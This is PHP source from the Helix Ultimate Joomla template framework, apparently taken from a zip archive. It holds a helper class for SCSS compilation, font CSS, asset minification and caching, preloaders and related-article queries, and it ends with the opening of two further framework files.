			$device_class .= ' d-lg-none d-xl-block';
		}

		if (isset($options->hide_on_desktop) && $options->hide_on_desktop)
		{
			$device_class = $this->reshape_device_class('xl', $device_class);
			$device_class .= ' d-xl-none';
		}

		return $device_class;
	}

	/**
	 * Reshape the device classes for responsiveness.
	 *
	 * @param	string	$device		The device indicator.
	 * @param	string	$class		The existing class.
	 *
	 * @return	string	The updated class
	 * @since	1.0.0
	 */
	private function reshape_device_class($device = '', $class = '')
	{
		$search = 'd-' . $device . '-block';
		$class = str_replace($search, '', $class);
		$class = trim($class, ' ');

		return $class;
	}

	/**
	 * Count the number of modules of a position.
	 *
	 * @param	string	$position	Module position.
	 *
	 * @return	integer	The number of modules.
	 * @since	1.0.0
	 */
	public function count_modules($position)
	{
		return ($this->doc->countModules($position) || $this->has_feature($position));
	}

	/**
	 * Disable module only from article page.
	 *
	 * @param	string	$position	Module position.
	 *
	 * @return	boolean
	 * @since	1.0.0
	 */
	private function disable_details_page_modules( $position )
	{
		$article_and_disable = ($this->app->input->get('view') === 'article' && $this->params->get('disable_module'));
		$match_positions = $position === 'left' || $position === 'right';

		return ($article_and_disable && $match_positions);
	}

	/**
	 * If the position has feature.
	 *
	 * @param	string	$position	The module position.
	 *
	 * @return	boolean	True on success, false otherwise.
	 * @since	1.0.0
	 */
	private function has_feature($position)
	{
		if (in_array($position, $this->in_positions))
		{
			return true;
		}

		return false;
	}

	/**
	 * Perform after body expressions.
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public function after_body()
	{
		// if ($this->params->get('compress_css'))
		// {
		// 	$this->compress_css();
		// }

		// if ($this->params->get('compress_js'))
		// {
		// 	$this->compress_js($this->params->get('exclude_js'));
		// }


		if ($before_body = $this->params->get('before_body'))
		{
			echo $before_body . "\n";
		}
	}

	/**
	 * Add scss file with options.
	 *
	 * @param	string	$scss			The scss file name.
	 * @param	array	$vars			The variables array.
	 * @param	string	$css			The css file name.
	 * @param	boolean	$forceCompile	Compile the scss to css by force
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function add_scss($scss, $vars = array(), $css = '', $forceCompile = false, $path = '')
	{
		$scss = File::stripExt($scss);

		if (!empty($css))
		{
			$css = File::stripExt($css) . '.css';
		}
		else
		{
			$css = $scss . '.css';
		}

		if ($this->params->get('scssoption'))
		{
			$needsCompile = $this->needScssCompile($scss, $vars);

			if ($forceCompile || $needsCompile)
			{
				$compiler = new Compiler;
				$template = Helper::loadTemplateData()->template;
				$scss_path = JPATH_THEMES . '/' . $template . '/scss';
				$css_path = JPATH_THEMES . '/' . $template . '/css';

				if (file_exists($scss_path . '/' . $scss . '.scss'))
				{
					$out = $css_path . '/' . $css;
					$compiler->setOutputStyle(OutputStyle::COMPRESSED);
					$compiler->setImportPaths($scss_path);

					if (!empty($vars))
					{
						$compiler->addVariables($vars);
					}

					$compiledCss = $compiler->compileString('@import "' . $scss . '.scss"');
					File::write($out, $compiledCss->getCss());

					$cache_path = JPATH_ROOT . '/cache/com_templates/templates/' . $template . '/' . $scss . '.scss.cache';
					$scssCache = array();
					$scssCache['imports'] = $this->parseIncludedFiles($compiledCss->getIncludedFiles());
					$scssCache['vars'] = $compiler->getVariables();

					File::write($cache_path, json_encode($scssCache));
				}
			}
		}

		$this->add_css($css);
	}

	/**
	 * Parse the included scss files and get the filemtime.
	 *
	 * @param 	array 	$files	The files path array.
	 *
	 * @return 	array	The new array with filepath and the modified time.
	 * @since 	2.0.5
	 */
	private function parseIncludedFiles(array $files) : array
	{
		$parsedFiles = [];

		foreach ($files as $file)
		{
			if (!empty($file) && \file_exists($file))
			{
				$parsedFiles[realpath($file)] = filemtime($file);
			}
		}

		return $parsedFiles;
	}

	/**
	 * If it is needed to compile the scss.
	 *
	 * @param	string	$scss	The scss file name.
	 * @param	array	$vars	Scss variables.
	 *
	 * @return	boolean
	 * @since	1.0.0
	 */
	public function needScssCompile($scss, $vars = array())
	{
		$cache_path = JPATH_ROOT . '/cache/com_templates/templates/' . $this->template->template . '/' . $scss . '.scss.cache';
		
		if (file_exists($cache_path))
		{
			$cache_file = json_decode(file_get_contents($cache_path));
			$imports = (isset($cache_file->imports) && $cache_file->imports) ? $cache_file->imports : array();
			$cached_vars = (isset($cache_file->vars) && $cache_file->vars) ? (array) $cache_file->vars : array();

			if (array_diff_assoc($vars, $cached_vars))
			{
				return true;
			}

			if (!empty($imports))
			{
				foreach ($imports as $import => $mtime)
				{
					if (file_exists($import))
					{
						$existModificationTime = filemtime($import);

						if ($existModificationTime != $mtime)
						{
							return true;
						}
					}
					else
					{
						return true;
					}
				}

				return false;
			}
			else
			{
				return true;
			}

			return false;
		}

		return true;
	}

	/**
	 * Add google fonts.
	 *
	 * @param	array	$fonts	Google fonts.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function addGoogleFont($fonts)
	{
		// $doc = Factory::getDocument();

		$systemFonts = array(
			'Arial',
			'Tahoma',
			'Verdana',
			'Helvetica',
			'Times New Roman',
			'Trebuchet MS',
			'Georgia'
		);

		if (is_array($fonts))
		{
			foreach ($fonts as $key => $font)
			{
				$font = json_decode($font);

				if (!in_array($font->fontFamily, $systemFonts))
				{
					$fontUrl = '//fonts.googleapis.com/css?family=' . $font->fontFamily . ':100,100i,300,300i,400,400i,500,500i,700,700i,900,900i';

					if (!empty(trim($font->fontSubset)))
					{
						$fontUrl .= '&subset=' . $font->fontSubset;
					}

					$fontUrl .= '&display=swap';

					$this->doc->addStylesheet($fontUrl, ['version' => 'auto'], ['media' => 'none', 'onload' => 'media="all"']);
				}

				$fontCSS = $key . "{";
				$fontCSS .= "font-family: '" . $font->fontFamily . "', sans-serif;";

				if (isset($font->fontSize) && $font->fontSize)
				{
					$fontCSS .= 'font-size: ' . $font->fontSize . (!preg_match("@(px|em|rem|%)$@", $font->fontSize) ? 'px;' : ';');
				}

				if (isset($font->fontWeight) && $font->fontWeight)
				{
					$fontCSS .= 'font-weight: ' . $font->fontWeight . ';';
				}

				if (isset($font->fontStyle) && $font->fontStyle)
				{
					$fontCSS .= 'font-style: ' . $font->fontStyle . ';';
				}

				if (!empty($font->fontColor))
				{
					$fontCSS .= 'color: ' . $font->fontColor . ';';
				}

				if (!empty($font->fontLineHeight))
				{
					$fontCSS .= 'line-height: ' . $font->fontLineHeight . ';';
				}

				if (!empty($font->fontLetterSpacing))
				{
					$fontCSS .= 'letter-spacing: ' . $font->fontLetterSpacing . ';';
				}

				if (!empty($font->textDecoration))
				{
					$fontCSS .= 'text-decoration: ' . $font->textDecoration . ';';
				}

				if (!empty($font->textAlign))
				{
					$fontCSS .= 'text-align: ' . $font->textAlign . ';';
				}

				$fontCSS .= "}\n";

				if (isset($font->fontSize_sm) && $font->fontSize_sm)
				{
					$fontCSS .= '@media (min-width:768px) and (max-width:991px){';
					$fontCSS .= $key . "{";
					$fontCSS .= 'font-size: ' . $font->fontSize_sm . (!preg_match("@(px|em|rem|%)$@", $font->fontSize_sm) ? 'px;' : ';');
					$fontCSS .= "}\n}\n";
				}

				if (isset($font->fontSize_xs) && $font->fontSize_xs)
				{
					$fontCSS .= '@media (max-width:767px){';
					$fontCSS .= $key . "{";
					$fontCSS .= 'font-size: ' . $font->fontSize_xs . (!preg_match("@(px|em|rem|%)$@", $font->fontSize_xs) ? 'px;' : ';');
					$fontCSS .= "}\n}\n";
				}

				$this->doc->addStyledeclaration($fontCSS);
			}
		}
	}

	/**
	 * Exclude js files and return the other js.
	 *
	 * @param	string	$key		The key
	 * @param	string	$excludes	The files to excludes with comma seperated.
	 *
	 * @return	boolean
	 * @since	1.0.0
	 */
	private function exclude_js($key, $excludes)
	{
		$match = false;

		if ($excludes)
		{
			$excludes = explode(',', $excludes);

			foreach ($excludes as $exclude)
			{
				if (basename($key) == trim($exclude))
				{
					$match = true;
				}
			}
		}

		return $match;
	}

	/**
	 * Check if the contents of the assets are changed.
	 * If the contents are changed then the filesize must be changed.
	 *
	 * @param	string	$cachedFile		File path
	 * @param	string	$currentContent	The contents
	 *
	 * @return	bool
	 * @since	2.0.0
	 */
	private function contentsChanged($cachedFile, $currentContent)
	{
		$temp = tmpfile();
		fwrite($temp, $currentContent);
		fseek($temp, 0);
		$tempFileSize = filesize(stream_get_meta_data($temp)['uri']);
		fclose($temp);

		return filesize($cachedFile) !== $tempFileSize;
	}

	/**
	 * Check if the file is minified or not.
	 * This is getting the file contents and counting
	 * the number of lines in the file.
	 * If there is only one line that means this is a minified file.
	 * On the other hand, if the percentage of the ratio of the
	 * ($numberOfLines:$contentLength) is less then 1 that means there may
	 * have a few number of lines but that could be negligible.
	 *
	 * @param	string	$file	The file url
	 *
	 * @return	boolean	True if minified, false otherwise.
	 * @since	2.0.0
	 */
	private function isMinified($file)
	{
		$content = file_get_contents($file);
		$contentLength = strlen($content);
		$numberOfLines = preg_match_all("@[\r\n]@", $content);

		return ($numberOfLines === 1)
			|| (($numberOfLines * 100 / $contentLength) < 1);
	}

	/**
	 * Compress javascript.
	 *
	 * @param	string		$excludes	If any js to exclude from compressing.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function compress_js($excludes = '')
	{
		$app       = Factory::getApplication();
		$cachetime = $app->get('cachetime', 15);

		$all_scripts  = $this->doc->_scripts;
		$all_declared_scripts = $this->doc->_script;
		$cache_path   = JPATH_ROOT . '/cache/com_templates/templates/' . $this->template->template;
		$scripts      = array();
		$root_url     = Uri::root(true);
		$minifiedCode = '';
		$md5sum       = '';
		$criticalCode = '';
		$criticalHash = '';
		$criticalRegex = "@(jquery.*)\.js$@";

		/**
		 * Version hashes are used here for maintaining
		 * the file versioning. If an asset file's content is changed then for caching,
		 * the browser cannot detect, if the file is changed or not.
		 * So it executes the cached one. But for rapid changing of styles as well as scripts
		 * we need to preview the changes.
		 *
		 * That's why we add this version control system. Where we add a version number hash
		 * with each js|css assets and if the content is changed then the hash also be changed
		 * so that the browser can detect, the file is changed and it brings the file
		 * from server, instead of browser cache.
		 *
		 * And don't worry. If the content of the file are same as before then the browser will
		 * bring the cached one.
		 */
		$versionHashes = array(
			'url' => 'auto',
			'declared' => 'auto',
			'critical' => 'auto'
		);

		// Check all local scripts
		foreach ($all_scripts as $key => $value)
		{
			$js_file = str_replace($root_url, JPATH_ROOT, $key);

			if (strpos($js_file, JPATH_ROOT) === false)
			{
				$js_file = JPATH_ROOT . $key;
			}

			/** If the js_file contains a version number suffix, then remove that. */
			if (strpos($js_file, '?') !== false)
			{
				$js_file = \substr($js_file, 0, \stripos($js_file, '?'));
			}

			if (\file_exists($js_file))
			{
				if (!$this->exclude_js($key, $excludes))
				{
					$scripts[] = $key;

					if (preg_match($criticalRegex, $key))
					{
						$criticalHash .= md5($key);
					}
					else
					{
						$md5sum .= md5($key);
					}

					/**
					 * Check if an empty file is given for compression
					 */
					if (!strlen(file_get_contents($js_file)))
					{
						$compressed = "/* No content */";
					}
					else
					{
						/**
						 * If the file is already minified then skip it from re-minimization.
						 */
						if ($this->isMinified($js_file))
						{
							$compressed = file_get_contents($js_file);
						}
						else
						{
							$compressed = \JShrink\Minifier::minify(file_get_contents($js_file), array('flaggedComments' => false));
						}
					}

					// Add file name to compressed JS
					if (preg_match($criticalRegex, $key))
					{
						$criticalCode .= "/*------ " . basename($js_file) . " ------*/\n" . $compressed . "\n\n";
					}
					else
					{
						$minifiedCode .= "/*------ " . basename($js_file) . " ------*/\n" . $compressed . "\n\n";
					}

					// Remove scripts
					unset($this->doc->_scripts[$key]);
				}
			}
		}

		if ($criticalCode)
		{
			if (!Folder::exists($cache_path))
			{
				Folder::create($cache_path, 0755);
			}

			$fileMd5 = md5($criticalHash);
			$file = $cache_path . '/' . $fileMd5 . '.js';

			if (!File::exists($file))
			{
				File::write($file, $criticalCode);
			}
			else
			{
				/**
				 * Check if the current content of the JS
				 * is differ from the cached content.
				 * In such a situation override the cache file with the
				 * current changed content.
				 */
				if ($this->contentsChanged($file, $criticalCode)
					|| filesize($file) === 0
					|| ((filemtime($file) + $cachetime * 60) < time()))
				{
					File::write($file, $criticalCode);
				}
			}

			$versionHashes['critical'] = md5($criticalCode);

			/**
			 * Asynchronously load the non critical JavaScript
			 */
			$this->doc->addScript(
				Uri::base(true) . '/cache/com_templates/templates/' . $this->template->template . '/' . $fileMd5 . '.js',
				[
					'version' => $versionHashes['critical']
				]
			);
		}

		// Compress All scripts
		if ($minifiedCode)
		{
			if (!Folder::exists($cache_path))
			{
				Folder::create($cache_path, 0755);
			}

			$fileMd5 = md5($md5sum);
			$file = $cache_path . '/' . $fileMd5 . '.js';

			if (!File::exists($file))
			{
				File::write($file, $minifiedCode);
			}
			else
			{
				/**
				 * Check if the current content of the JS
				 * is differ from the cached content.
				 * In such a situation override the cache file with the
				 * current changed content.
				 */
				if ($this->contentsChanged($file, $minifiedCode)
					|| filesize($file) === 0
					|| ((filemtime($file) + $cachetime * 60) < time()))
				{
					File::write($file, $minifiedCode);
				}
			}

			$versionHashes['url'] = md5($minifiedCode);

			/**
			 * Asynchronously load the non critical JavaScript
			 */
			$this->doc->addScript(
				Uri::base(true) . '/cache/com_templates/templates/' . $this->template->template . '/' . $fileMd5 . '.js',
				[
					'version' => $versionHashes['url']
				],
				[
					'defer' => false
				]
			);
		}

		/**
		 * Make a javascript file at cache folder for declared scripts
		 * and make sure of deferring them.
		 */
		if (!empty($all_declared_scripts))
		{
			$declaredScriptHash = '';
			$scriptContent = '';

			foreach ($all_declared_scripts as $key => $script)
			{
				$scriptString = '';

				if (\is_array($script))
				{
					foreach ($script as $value)
					{
						$scriptString .= $value . "\r\n";
					}
				}
				else
				{
					$scriptString = $script;
				}

				$declaredScriptHash .= md5($key);
				$scriptContent .= \JShrink\Minifier::minify($scriptString, array('flaggedComments' => false));
				unset($this->doc->_script[$key]);
			}

			if (!empty($scriptContent))
			{
				if (!Folder::exists($cache_path))
				{
					Folder::create($cache_path, 0755);
				}

				$file = $cache_path . '/' . $declaredScriptHash . '.js';

				if (!File::exists($file))
				{
					File::write($file, $scriptContent);
				}
				else
				{
					/**
					 * Check if the current content of the JS
					 * is differ from the cached content.
					 * In such a situation override the cache file with the
					 * current changed content.
					 */
					if ($this->contentsChanged($file, $scriptContent)
						|| filesize($file) === 0
						|| ((filemtime($file) + $cachetime * 60) < time()))
					{
						File::write($file, $scriptContent);
					}
				}

				$versionHashes['declared'] = md5($scriptContent);

				$this->doc->addScript(
					Uri::base(true) . '/cache/com_templates/templates/' . $this->template->template . '/' . $declaredScriptHash . '.js',
					[
						'version' => $versionHashes['declared']
					],
					[
						'defer' => false
					]
				);
			}
		}

		return;
	}

	/**
	 * Get preloader of specific type
	 *
	 * @param	string	$type	Loader Type
	 *
	 * @return	string	Loader HTML string
	 * @since	2.0.0
	 */
	public function getPreloader($type)
	{
		$loader = array();

		switch ($type)
		{
			case 'circle':
				$loader[] = "<div class='sp-loader-circle'></div>";
			break;

			case 'bubble-loop':
				$loader[] = "<div class='sp-loader-bubble-loop'></div>";
			break;

			case 'wave-two':
				$loader[] = "<div class='wave-two-wrap'>";
				$loader[] = "<ul class='wave-two'>";
				$loader[] = str_repeat("<li></li>", 6);
				$loader[] = "</ul>";
				$loader[] = "</div>";
			break;

			case 'audio-wave':
				$loader[] = "<div class='sp-loader-audio-wave'></div>";
			break;

			case 'circle-two':
				$loader[] = "<div class='circle-two'><span></span></div>";
			break;

			case 'clock':
				$loader[] = "<div class='sp-loader-clock'></div>";
			break;

			case 'logo':
				$src = $this->params->get('logo_type') === 'image' ? Uri::root() . $this->params->get('logo_image') : null;

				$loader[] = "<div class='sp-loader-with-logo'>";
				$loader[] = "<div class='logo'>";
				$loader[] = $src ? "<img src='" . $src . "' />" : "Loading...";
				$loader[] = "</div>";
				$loader[] = "<div class='line' id='line-load'></div>";
				$loader[] = "</div>";
			break;

			default:
				$loader[] = "<div class='sp-preloader'></div>";
			break;
		}

		return implode("\n", $loader);
	}

	/**
	 * Get header style.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function getHeaderStyle()
	{
		$pre_header 	= $this->params->get('predefined_header');
		$header_style 	= $this->params->get('header_style');

		if (!$pre_header || !$header_style)
		{
			return;
		}

		$options = new \stdClass;
		$options->template 	= $this->template;
		$options->params 	= $this->params;
		$template 			= $options->template->template;

		$tmpl_file_location = JPATH_ROOT . '/templates/' . $template . '/headers';

		if (File::exists($tmpl_file_location . '/' . $header_style . '/header.php'))
		{
			$getLayout = new FileLayout($header_style . '.header', $tmpl_file_location);

			return $getLayout->render($options);
		}
	}

	/**
	 * Get offcanvas styles
	 *
	 * @return	string	The offcanvas layout HTML string.
	 * @since	2.0.0
	 */
	public function getOffcanvasStyle()
	{
		$offCanvasStyle = $this->params->get('offcanvas_style', '');

		if (empty($offCanvasStyle))
		{
			return '';
		}

		$options = new \stdClass;
		$options->template 	= $this->template;
		$options->params 	= $this->params;
		$template 			= $options->template->template;

		$offCanvasDirectory = JPATH_ROOT . '/templates/' . $template . '/offcanvas';

		if (\file_exists($offCanvasDirectory . '/' . $offCanvasStyle . '/canvas.php'))
		{
			$getLayout = new FileLayout($offCanvasStyle . '.canvas', $offCanvasDirectory);

			return $getLayout->render($options);
		}

		return '';
	}

	/**
	 * Minify CSS code.
	 *
	 * @param	string	$css_code	The css code snippet.
	 *
	 * @return	string	The minified code
	 * @since	1.0.0
	 */
	public function minifyCss($css_code)
	{
		// Remove comments
		$css_code = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $css_code);

		// Remove space after colons
		$css_code = str_replace(': ', ':', $css_code);

		// Remove whitespace
		$css_code = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $css_code);

		// Remove Empty Selectors without any properties
		$css_code = preg_replace('/(?:(?:[^\r\n{}]+)\s?{[\s]*})/', '', $css_code);

		// Remove Empty Media Selectors without any properties or selector
		$css_code = preg_replace('/@media\s?\((?:[^\r\n,{}]+)\s?{[\s]*}/', '', $css_code);

		return $css_code;
	}

	/**
	 * Compress css files.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function compress_css()
	{
		$app             = Factory::getApplication();
		$cachetime       = $app->get('cachetime', 15);
		$all_stylesheets = $this->doc->_styleSheets;
		$cache_path      = JPATH_ROOT . '/cache/com_templates/templates/' . $this->template->template;
		$stylesheets     = array();
		$root_url        = Uri::root(true);
		$minifiedCode    = '';
		$md5sum          = '';

		$criticalCssRegex = "@(preset.*|font-awesome.*)\.css@";
		$criticalCssHash = '';
		$criticalCssCode = '';

		/**
		 * Version hashes are used here for maintaining
		 * the file versioning. If an asset file's content is changed then for caching,
		 * the browser cannot detect, if the file is changed or not.
		 * So it executes the cached one. But for rapid changing of styles as well as scripts
		 * we need to preview the changes.
		 *
		 * That's why we add this version control system. Where we add a version number hash
		 * with each js|css assets and if the content is changed then the hash also be changed
		 * so that the browser can detect, the file is changed and it brings the file
		 * from server, instead of browser cache.
		 *
		 * And don't worry. If the content of the file are same as before then the browser will
		 * bring the cached one.
		 */
		$versionHashes	= array(
			'critical' => 'auto',
			'lazy' => 'auto'
		);

		// Check all local stylesheets
		foreach ($all_stylesheets as $key => $value)
		{
			$css_file = str_replace($root_url, \JPATH_ROOT, $key);

			if (strpos($css_file, JPATH_ROOT) === false)
			{
				$css_file = JPATH_ROOT . $key;
			}

			$GLOBALS['absolute_url'] = $key;

			if (File::exists($css_file))
			{
				$stylesheets[] = $key;

				if (preg_match($criticalCssRegex, $key))
				{
					$criticalCssHash .= md5($key);
				}
				else
				{
					$md5sum .= md5($key);
				}

				$compressed = $this->minifyCss(file_get_contents($css_file));

				$fixUrl = preg_replace_callback('/url\(([^\):]*)\)/',
					function ($matches)
					{
						global $absolute_url;

						$url = str_replace(array('"', '\''), '', $matches[1]);

						if (preg_match('/\.(jpg|png|jpeg|mp4|gif)$/i', $url))
						{
							return "url('$url')";
						}

						$base = dirname($absolute_url);

						while (preg_match('/^\.\.\//', $url))
						{
							$base = dirname($base);
							$url  = substr($url, 3);
						}

						$url = $base . '/' . $url;

						return "url('$url')";
					},
					$compressed
				);

				// Add file name to compressed css
				if (preg_match($criticalCssRegex, $key))
				{
					$criticalCssCode .= "/*------ " . basename($css_file) . " ------*/\n" . $fixUrl . "\n\n";
				}
				else
				{
					$minifiedCode .= "/*------ " . basename($css_file) . " ------*/\n" . $fixUrl . "\n\n";
				}

				// Remove stylesheets
				unset($this->doc->_styleSheets[$key]);
			}
		}

		if ($criticalCssCode)
		{
			if (!Folder::exists($cache_path))
			{
				Folder::create($cache_path, 0755);
			}

			$file = $cache_path . '/' . md5($criticalCssHash) . '.css';

			if (!File::exists($file))
			{
				File::write($file, $criticalCssCode);
			}
			else
			{
				/**
				 * Check if the current content of the CSS
				 * is differ from the cached content.
				 * In such a situation override the cache file with the
				 * current changed content.
				 */
				if ($this->contentsChanged($file, $criticalCssCode)
					|| filesize($file) === 0
					|| ((filemtime($file) + $cachetime * 60) < time()))
				{
					File::write($file, $criticalCssCode);
				}
			}

			$versionHashes['critical'] = md5($criticalCssCode);

			/**
			 * Load template styles asynchronously
			 */
			$this->doc->addStylesheet(
				Uri::base(true) . '/cache/com_templates/templates/' . $this->template->template . '/' . md5($criticalCssHash) . '.css',
				['version' => $versionHashes['critical']]
			);
		}

		// Compress All stylesheets
		if ($minifiedCode)
		{
			if (!Folder::exists($cache_path))
			{
				Folder::create($cache_path, 0755);
			}

			$file = $cache_path . '/' . md5($md5sum) . '.css';

			if (!File::exists($file))
			{
				File::write($file, $minifiedCode);
			}
			else
			{
				/**
				 * Check if the current content of the CSS
				 * is differ from the cached content.
				 * In such a situation override the cache file with the
				 * current changed content.
				 */
				if ($this->contentsChanged($file, $minifiedCode)
					|| filesize($file) === 0
					|| ((filemtime($file) + $cachetime * 60) < time()))
				{
					File::write($file, $minifiedCode);
				}
			}

			$versionHashes['lazy'] = md5($minifiedCode);

			/**
			 * Load template styles asynchronously
			 */
			$this->doc->addStylesheet(
				Uri::base(true) . '/cache/com_templates/templates/' . $this->template->template . '/' . md5($md5sum) . '.css',
				['version' => $versionHashes['lazy']]
			);
		}

		return;
	}

	/**
	 * Get related articles.
	 *
	 * @param	object 	$params		Article params.
	 *
	 * @return	array	Articles
	 * @since	1.0.0
	 */
	public static function getRelatedArticles($params)
	{
		$user   = Factory::getUser();
		$userId = $user->id;
		$groups = $user->getAuthorisedViewLevels();
		$authorised = Access::getAuthorisedViewLevels($userId);

		$db = Factory::getDbo();
		$app = Factory::getApplication();
		$nullDate = $db->quote($db->getNullDate());
		$nowDate  = $db->quote(Factory::getDate()->toSql());
		$item_id = $params['item_id'];
		$maximum = isset($params['maximum']) ? (int) $params['maximum'] : 5;
		$maximum = $maximum < 1 ? 5 : $maximum;
		$catId = isset($params['catId']) ? (int) $params['catId'] : null;
		$tagids = [];

		if (isset($params['itemTags']) && count($params['itemTags']))
		{
			$itemTags = $params['itemTags'];

			foreach ($itemTags as $tag)
			{
				array_push($tagids, $tag->id);
			}
		}

		// Category filter
		$catItemIds = $tagItemIds = $itemIds = [];

		if ($catId !== null)
		{
			$catQuery = $db->getQuery(true)
				->clear()
				->select('id')
				->from($db->quoteName('#__content'))
				->where($db->quoteName('catid') . " = " . $catId)
				->setLimit($maximum + 1);

			$db->setQuery($catQuery);
			$catItemIds = $db->loadColumn();
		}

		// Tags filter
		if (is_array($tagids) && count($tagids))
		{
			$tagId = implode(',', ArrayHelper::toInteger($tagids));

			if ($tagId)
			{
				$subQuery = $db->getQuery(true)
					->clear()
					->select('DISTINCT content_item_id as id')
					->from($db->quoteName('#__contentitem_tag_map'))
					->where('tag_id IN (' . $tagId . ')')
					->where('type_alias = ' . $db->quote('com_content.article'));

				$db->setQuery($subQuery);
				$tagItemIds = $db->loadColumn();
			}
		}

		$itemIds = array_unique(array_merge($catItemIds, $tagItemIds));

		if (count($itemIds) < 1)
		{
			return [];
		}

		$itemIds = implode(',', ArrayHelper::toInteger($itemIds));
		$query = $db->getQuery(true);

		$query->clear()
			->select('a.*')
			->select('a.alias as slug')
			->from($db->quoteName('#__content', 'a'))
			->select($db->quoteName('b.alias', 'category_alias'))
			->select($db->quoteName('b.title', 'category'))
			->select($db->quoteName('b.access', 'category_access'))
			->select($db->quoteName('u.name', 'author'))
			->join('LEFT', $db->quoteName('#__categories', 'b') . ' ON (' . $db->quoteName('a.catid') . ' = ' . $db->quoteName('b.id') . ')')
			->join('LEFT', $db->quoteName('#__users', 'u') . ' ON (' . $db->quoteName('a.created_by') . ' = ' . $db->quoteName('u.id') . ')')
			->where($db->quoteName('a.access') . " IN (" . implode(',', $authorised) . ")")
			->where('a.id IN (' . $itemIds . ')')
			->where('a.id != ' . (int) $item_id);

		// Language filter
		if ($app->getLanguageFilter())
		{
			$query->where('a.language IN (' . $db->Quote(Factory::getLanguage()->getTag()) . ',' . $db->Quote('*') . ')');
		}

		$query->where('(a.publish_down IS NULL OR a.publish_down >= ' . $nowDate . ')');
		$query->where($db->quoteName('a.state') . ' = ' . $db->quote(1));
		$query->order($db->quoteName('a.created') . ' DESC')
			->setLimit($maximum);

		$db->setQuery($query);
		$items = $db->loadObjectList();

		foreach ($items as &$item)
		{
			$item->slug    	= $item->id . ':' . $item->slug;
			$item->catslug 	= $item->catid . ':' . $item->category_alias;
			$item->params = ComponentHelper::getParams('com_content');
			$access = (isset($item->access) && $item->access) ? $item->access : true;

			if ($access)
			{
				$item->params->set('access-view', true);
			}
			else
			{
				if ($item->catid == 0 || $item->category_access === null)
				{
					$item->params->set('access-view', in_array($item->access, $groups));
				}
				else
				{
					$item->params->set('access-view', in_array($item->access, $groups) && in_array($item->category_access, $groups));
				}
			}
		}

		return $items;
	}

	/**
	 * Generate the SCSS variables from the preset settings.
	 *
	 * @return 	array
	 * @since 	2.0.5
	 */
	public function getSCSSVariables() : array
	{
		$custom_style = $this->params->get('custom_style');
		$preset = $this->params->get('preset');

		if($custom_style || !$preset)
		{
			$scssVars = array(
				'preset' => 'default',
				'text_color' => $this->params->get('text_color'),
				'bg_color' => $this->params->get('bg_color'),
				'link_color' => $this->params->get('link_color'),
				'link_hover_color' => $this->params->get('link_hover_color'),
				'header_bg_color' => $this->params->get('header_bg_color'),
				'logo_text_color' => $this->params->get('logo_text_color'),
				'menu_text_color' => $this->params->get('menu_text_color'),
				'menu_text_hover_color' => $this->params->get('menu_text_hover_color'),
				'menu_text_active_color' => $this->params->get('menu_text_active_color'),
				'menu_dropdown_bg_color' => $this->params->get('menu_dropdown_bg_color'),
				'menu_dropdown_text_color' => $this->params->get('menu_dropdown_text_color'),
				'menu_dropdown_text_hover_color' => $this->params->get('menu_dropdown_text_hover_color'),
				'menu_dropdown_text_active_color' => $this->params->get('menu_dropdown_text_active_color'),
				'footer_bg_color' => $this->params->get('footer_bg_color'),
				'footer_text_color' => $this->params->get('footer_text_color'),
				'footer_link_color' => $this->params->get('footer_link_color'),
				'footer_link_hover_color' => $this->params->get('footer_link_hover_color'),
				'topbar_bg_color' => $this->params->get('topbar_bg_color'),
				'topbar_text_color' => $this->params->get('topbar_text_color')
			);
		}
		else
		{
			$scssVars = (array) json_decode($this->params->get('preset'));
		}

		$scssVars['header_height'] 		= $this->params->get('header_height', '60px');
		$scssVars['header_height_sm'] 	= $this->params->get('header_height_sm', '60px');
		$scssVars['header_height_xs'] 	= $this->params->get('header_height_xs', '60px');
		$scssVars['offcanvas_width'] 	= $this->params->get('offcanvas_width', '300') . 'px';

		return $scssVars;
	}

	/**
	 * If user put their own JS or CSS files into `templates/{template}/js/custom`
	 * or `templates/{template}/css/custom` directory respectively then,
	 * those files would be added automatically to the template.
	 *
	 * @param	string	$type	The asset type
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function addCustomAssets($type)
	{
		$template = Helper::loadTemplateData()->template;
		$directory = JPATH_ROOT . '/templates/' . $template . '/' . strtolower($type) . '/custom';
		$path = Uri::root(true) . '/templates/' . $template . '/' . strtolower($type) . '/custom';

		if (!\file_exists($directory) || !\is_dir($directory))
		{
			return;
		}

		$files = Folder::files($directory);
		
		if (!empty($files))
		{
			foreach ($files as $file)
			{
				if ($type === 'css')
				{
					if (preg_match("@\.css$@", $file))
					{
						$this->doc->addStylesheet($path . '/' . $file);
					}
				}
				elseif ($type === 'scss')
				{
					if (preg_match("@\.scss$@", $file))
					{
						$vars = $this->getSCSSVariables();
						$this->add_scss('custom/' . $file, $vars);
					}
				}
				elseif ($type === 'js')
				{
					if (preg_match("@\.js$@", $file))
					{
						$this->doc->addScript($path . '/' . $file, [], ['defer' => true]);
					}
				}
			}
		}
		
	}
}
PK!�O�y$helixultimate/src/Core/Lib/fonts.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Core\Lib;

defined('_JEXEC') or die('Restricted access');

$systemFonts = array(
	'Arial' => array(
		'weights' => array(
			'regular',
			'italic',
			'bold',
			'bold italic'
		),
	),
	'Tahoma',
	'Verdana',
	'Helvetica',
	'Times New Roman',
	'Trebuchet MS',
	'Georgia'
);
PK!I�|��#�#.helixultimate/src/Core/Lib/helixmenuhelper.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Core\Lib;

defined('_JEXEC') or die('Restricted access');

use HelixUltimate\Framework\Core\Lib\FontawesomeIcons;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Menu\SiteMenu;

